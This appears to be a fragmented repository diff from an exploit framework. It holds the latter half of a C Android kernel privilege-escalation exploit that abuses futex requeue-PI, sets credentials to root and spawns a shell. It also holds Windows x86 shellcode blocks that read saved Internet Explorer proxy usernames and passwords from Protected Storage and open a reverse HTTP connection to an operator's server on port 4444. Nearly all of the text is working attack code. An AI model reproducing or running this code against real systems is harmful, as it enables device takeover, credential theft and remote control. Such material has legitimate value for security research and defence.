printf("task_security_struct: %p\n", security);
|
||||
|
||||
write_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
}
|
||||
}
|
||||
|
||||
credbuf.uid = 0;
|
||||
credbuf.gid = 0;
|
||||
credbuf.suid = 0;
|
||||
credbuf.sgid = 0;
|
||||
credbuf.euid = 0;
|
||||
credbuf.egid = 0;
|
||||
credbuf.fsuid = 0;
|
||||
credbuf.fsgid = 0;
|
||||
|
||||
credbuf.cap_inheritable.cap[0] = 0xffffffff;
|
||||
credbuf.cap_inheritable.cap[1] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[0] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[1] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[0] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[1] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[0] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[1] = 0xffffffff;
|
||||
|
||||
write_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
pid = syscall(__NR_gettid);
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
static unsigned long write_value = 1;
|
||||
|
||||
if (taskbuf[i] == pid) {
|
||||
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("ROOT FAILED\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else { //rooted
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
if (g_argc >= 2) {
|
||||
system(rootcmd);
|
||||
} else {
|
||||
system("/system/bin/sh -i");
|
||||
}
|
||||
|
||||
system("/system/bin/touch /dev/rooted");
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
while (1) {
|
||||
ret = access("/dev/rooted", F_OK);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("wait 10 seconds...\n");
|
||||
sleep(10);
|
||||
|
||||
printf("rebooting...\n");
|
||||
sleep(1);
|
||||
system("reboot");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_cond_signal(&done);
|
||||
pthread_mutex_unlock(&done_lock);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
void *make_action(void *arg) {
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (int)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = write_kernel;
|
||||
act.sa_mask = 0;
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(12, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
do_dm_tid_read = 1;
|
||||
|
||||
while (did_dm_tid_read == 0) {
|
||||
;
|
||||
}
|
||||
|
||||
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
printf("futex dm: %d\n", ret);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pid_t wake_actionthread(int prio) {
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, make_action, (void *)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
while (do_dm_tid_read == 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
did_dm_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int make_socket() {
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed.\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
void *send_magicmsg(void *arg) {
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = make_socket();
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = MAGIC;
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
msg_iov[i].iov_base = (void *)MAGIC;
|
||||
msg_iov[i].iov_len = 0x10;
|
||||
}
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
|
||||
|
||||
do_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
if (did_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ret < 0) {
|
||||
perror("SOCKSHIT");
|
||||
}
|
||||
printf("EXIT WTF\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static inline setup_exploit(unsigned long mem)
|
||||
{
|
||||
*((unsigned long *)(mem - 0x04)) = 0x81;
|
||||
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
|
||||
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
|
||||
*((unsigned long *)(mem + 0x1c)) = 0x85;
|
||||
*((unsigned long *)(mem + 0x24)) = mem;
|
||||
*((unsigned long *)(mem + 0x2c)) = mem + 8;
|
||||
}
|
||||
|
||||
void *search_goodnum(void *arg) {
|
||||
int ret;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
unsigned long magicval;
|
||||
pid_t pid;
|
||||
unsigned long goodval, goodval2;
|
||||
unsigned long addr, setaddr;
|
||||
int i;
|
||||
char buf[0x1000];
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
|
||||
if (ret == 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
wake_actionthread(6);
|
||||
wake_actionthread(7);
|
||||
|
||||
uaddr2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
|
||||
|
||||
while (1) {
|
||||
if (do_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
printf("starting the dangerous things\n");
|
||||
|
||||
setup_exploit(MAGIC_ALT);
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
magicval = *((unsigned long *)MAGIC);
|
||||
|
||||
wake_actionthread(11);
|
||||
|
||||
if (*((unsigned long *)MAGIC) == magicval) {
|
||||
printf("using MAGIC_ALT.\n");
|
||||
MAGIC = MAGIC_ALT;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
is_kernel_writing = (pthread_mutex_t *)malloc(4);
|
||||
pthread_mutex_init(is_kernel_writing, NULL);
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(11);
|
||||
|
||||
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
|
||||
|
||||
printf("%p is a good number\n", (void *)goodval);
|
||||
|
||||
do_splice_tid_read = 0;
|
||||
did_splice_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
while (1) {
|
||||
if (do_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_splice_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 != vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
goodval2 = 0;
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
|
||||
|
||||
wake_actionthread(12);
|
||||
goodval2 = *((unsigned long *)(MAGIC + 0x24));
|
||||
|
||||
printf("%p is also a good number.\n", (void *)goodval2);
|
||||
|
||||
for (i = 0; i < 9; i++) {
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(10);
|
||||
|
||||
if (*((unsigned long *)MAGIC) < goodval2) {
|
||||
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
printf("GOING\n");
|
||||
|
||||
write(HACKS_fdm, buf, sizeof buf);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *accept_socket(void *arg) {
|
||||
int sockfd;
|
||||
int yes;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
yes = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
|
||||
while(1) {
|
||||
ret = accept(sockfd, NULL, NULL);
|
||||
if (ret < 0) {
|
||||
printf("**** SOCK_PROC failed ****\n");
|
||||
while(1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else {
|
||||
printf("i have a client like hookers.\n");
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void init_exploit() {
|
||||
unsigned long addr;
|
||||
pthread_t th1, th2, th3;
|
||||
|
||||
printf("running with pid %d\n", getpid());
|
||||
|
||||
pthread_create(&th1, NULL, accept_socket, NULL);
|
||||
|
||||
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC = addr;
|
||||
if ((long)addr >= 0) {
|
||||
printf("first mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC_ALT = addr;
|
||||
if (addr > 0x110000) {
|
||||
printf("second mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_create(&th2, NULL, search_goodnum, NULL);
|
||||
pthread_create(&th3, NULL, send_magicmsg, NULL);
|
||||
pthread_cond_wait(&done, &done_lock);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
g_argc = argc;
|
||||
|
||||
if (argc >= 2) {
|
||||
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
|
||||
int i;
|
||||
for (i=1;i<argc;i++) {
|
||||
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
|
||||
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
|
||||
}
|
||||
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
printf("Finished, looping.\n");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,5 +1,15 @@
|
|||
#!/bin/bash
|
||||
|
||||
# This requires Java 1.7 or earlier because it uses private APIs.
|
||||
# See http://kris-sigur.blogspot.com/2014/10/heritrix-java-8-and-sunsecuritytoolskey.html
|
||||
# for more information.
|
||||
|
||||
# Attempt to use Java 1.6 when building on OS X, otherwise JAVA_HOME needs to
|
||||
# be set manually.
|
||||
if [ -x /usr/libexec/java_home ]; then
|
||||
export JAVA_HOME=$(/usr/libexec/java_home -v 1.6)
|
||||
fi
|
||||
|
||||
javac -classpath $JAVA_HOME/lib/tools.jar:. javaCompile/*.java
|
||||
|
||||
jar -cf msfJavaToolkit.jar javaCompile/*.class
|
||||
|
|
|
@ -0,0 +1,209 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Unknown
|
||||
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'
|
||||
; Output: top element of stack will be pointer to null-terminated password and
|
||||
; second will be pointer to null-terminated username of the Proxy saved in IE
|
||||
|
||||
pushad
|
||||
jmp after_functions
|
||||
|
||||
alloc_memory: ; returns address to allocation in eax
|
||||
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push 0x1000 ; allocate 1000 byte for each variable (could be less)
|
||||
push 0 ; NULL as we dont care where the allocation is
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
|
||||
ret ;
|
||||
;
|
||||
after_functions: ;
|
||||
;
|
||||
; allocate memory for variables and save pointers on stack
|
||||
mov bl, 9 ;
|
||||
alloc_loop: ;
|
||||
call alloc_memory ;
|
||||
push eax ; save allocation address on stack
|
||||
dec bl ;
|
||||
jnz alloc_loop ;
|
||||
;
|
||||
load_pstorec: ; loads the pstorec.dll
|
||||
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
|
||||
push 0x6f747370 ; ...
|
||||
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "pstorec" )
|
||||
; this should leave a handle to the pstorec
|
||||
; DLL-Module in eax
|
||||
|
||||
pop edx ; remove 'pstorec' string from stack
|
||||
pop edx
|
||||
|
||||
PStoreCreateInstance_PStore:
|
||||
; returns address to PStore in pPStore
|
||||
pop edi ; pop pPstore
|
||||
push edi ; restore stack
|
||||
;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push 0 ;
|
||||
push edi ; arg4: pPstore
|
||||
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
|
||||
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
|
||||
;
|
||||
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
push edx ; restore stack
|
||||
push eax ;
|
||||
;
|
||||
push edx ; arg1: pEnumPstoreTypes
|
||||
push 0 ; arg2: NULL
|
||||
push 0 ; arg3: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
|
||||
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
|
||||
call edx ; call IPStore::EnumTypes
|
||||
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
|
||||
;
|
||||
EnumPStoreTypes.raw_Next:
|
||||
pop eax ; pop pPStore
|
||||
pop edx ; pop pEnumPStoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
push ecx ; restore stack
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov edx, [edx] ; load base address of EnumPStoreTypes
|
||||
push edx ; push base address of EnumPStoreTypes (this)
|
||||
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
|
||||
call edx ; call EnumPStoreTypes::raw_Next
|
||||
;
|
||||
mov eax, [esp+8] ;
|
||||
mov eax, [eax] ;
|
||||
;
|
||||
test eax, eax ;
|
||||
jz no_auth ; no Password found
|
||||
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
|
||||
jne EnumPStoreTypes.raw_Next
|
||||
;
|
||||
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
|
||||
pop eax ; pop pPstore
|
||||
pop edx ; pop pEnumPstoreTypes
|
||||
pop ecx ; pop pTypeGUID
|
||||
pop edi ; pop pEnumSubtypes
|
||||
push edi ; restore stack
|
||||
push ecx ;
|
||||
push edx ;
|
||||
push eax ;
|
||||
;
|
||||
push edi ; arg1: pEnumSubtypes
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: pTypeGUID
|
||||
push 0 ; arg4: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
|
||||
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
|
||||
call edx ; call IPStore::EnumSubtypes
|
||||
;
|
||||
EnumSubtypes.raw_Next:
|
||||
mov eax, [esp+0x0C] ; pop pEnumSubtypes
|
||||
mov edx, [esp+0x10] ; pop psubTypeGUID
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push edx ; arg2: psubTypeGUID
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of EnumSubtypes in eax
|
||||
push eax ; push base address of EnumSubtypes (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
|
||||
call edx ; call EnumSubtypes.raw_Next
|
||||
;
|
||||
PStore.EnumItems:
|
||||
pop eax ; pop pPstore
|
||||
pop ecx ;
|
||||
pop edx ; pop pTypeGUID
|
||||
push edx ; restore stack
|
||||
push ecx ;
|
||||
push eax ;
|
||||
mov ecx, [esp+0x10] ; pop psubTypeGUID
|
||||
mov edi, [esp+0x14] ; pop pspEnumItems
|
||||
;
|
||||
push edi ; arg1: pspEnumItems
|
||||
push 0 ; arg2: NULL
|
||||
push ecx ; arg3: psubTypeGUID
|
||||
push edx ; arg4: pTyoeGUID
|
||||
push 0 ; arg5: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base address of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
|
||||
mov edx, [edx+0x54] ;
|
||||
call edx ; call IPStore::Enumitems
|
||||
;
|
||||
spEnumItems.raw_Next:
|
||||
mov eax, [esp+0x14] ; pop pspEnumItems
|
||||
mov ecx, [esp+0x18] ; pop pitemName
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push ecx ; arg2: pitemName
|
||||
push 1 ; arg3: 1
|
||||
mov eax, [eax] ; load base address of spEnumItems in eax
|
||||
push eax ; push base addres of spEnumItems (this)
|
||||
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
|
||||
mov edx, [edx+0x0C] ;
|
||||
call edx ;
|
||||
;
|
||||
PStore.ReadItem:
|
||||
pop eax ; pop pPStore
|
||||
push eax ;
|
||||
;
|
||||
push 0 ; arg1: NULL
|
||||
push 0 ; arg2: NULL (stiinfo not needed)
|
||||
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
|
||||
push ecx ; arg3: ppsData
|
||||
mov ecx, [esp+0x2C] ; pop ppsDataLen
|
||||
push ecx ; arg4: ppsDataLen (not needed?)
|
||||
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
|
||||
mov ecx, [ecx] ;
|
||||
push ecx ; arg5: pitemName
|
||||
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
|
||||
push ecx ; arg6: psubTypeGUID
|
||||
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
|
||||
push ecx ; arg7: pTypeGUID
|
||||
push 0 ; arg8: NULL
|
||||
mov eax, [eax] ; load base address of PStore in eax
|
||||
push eax ; push base addres of PStore (this)
|
||||
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
|
||||
mov edx, [edx+0x44] ;
|
||||
call edx ;
|
||||
;
|
||||
split_user_pass:
|
||||
mov eax, [esp+0x1C] ; eax = ppsData
|
||||
mov eax, [eax] ; now eax contains pointer to "user:pass"
|
||||
push eax ; push pointer to user
|
||||
mov cl, byte 0x3a ; load ":" in ecx
|
||||
mov dl, byte [eax] ; load first byte of ppsData in edx
|
||||
cmp cl, dl ;
|
||||
jz no_auth ;
|
||||
loop_split: ;
|
||||
inc eax ;
|
||||
mov dl, byte [eax] ;
|
||||
cmp cl, dl ;
|
||||
jnz loop_split ; increase eax until it points to ":"
|
||||
;
|
||||
mov [eax], byte 0x00 ; replace ":" with 00
|
||||
inc eax ;
|
||||
push eax ; push pointer to pass
|
||||
;
|
||||
no_auth:
|
||||
|
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
157
external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm
vendored
Normal file
|
@ -0,0 +1,157 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: HD Moore
|
||||
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
|
||||
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
|
||||
; Version: 1.0
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Top and second top element of stack can be pointer to null-terminated
|
||||
; password and pointer to null-terminated username of a proxy server to connect to.
|
||||
; Output: EDI will be the socket for the connection to the server
|
||||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
load_wininet:
|
||||
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
|
||||
push 0x696e6977 ; ...
|
||||
push esp ; Push a pointer to the "wininet" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
internetopen:
|
||||
xor edi,edi
|
||||
push edi ; DWORD dwFlags
|
||||
push edi ; LPCTSTR lpszProxyBypass
|
||||
push edi ; LPCTSTR lpszProxyName
|
||||
push edi ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push byte 0 ; NULL pointer
|
||||
push esp ; LPCTSTR lpszAgent ("\x00")
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
jmp short dbl_get_server_host
|
||||
|
||||
internetconnect:
|
||||
pop ebx ; Save the hostname pointer
|
||||
xor edi, edi
|
||||
push edi ; DWORD_PTR dwContext (NULL)
|
||||
push edi ; dwFlags
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ecx ; password
|
||||
push edx ; username
|
||||
push dword 4444 ; PORT
|
||||
push ebx ; HOSTNAME
|
||||
push eax ; HINTERNET hInternet
|
||||
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call ebp
|
||||
|
||||
jmp get_server_uri
|
||||
|
||||
httpopenrequest:
|
||||
pop ecx
|
||||
xor edx, edx ; NULL
|
||||
push edx ; dwContext (NULL)
|
||||
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
|
||||
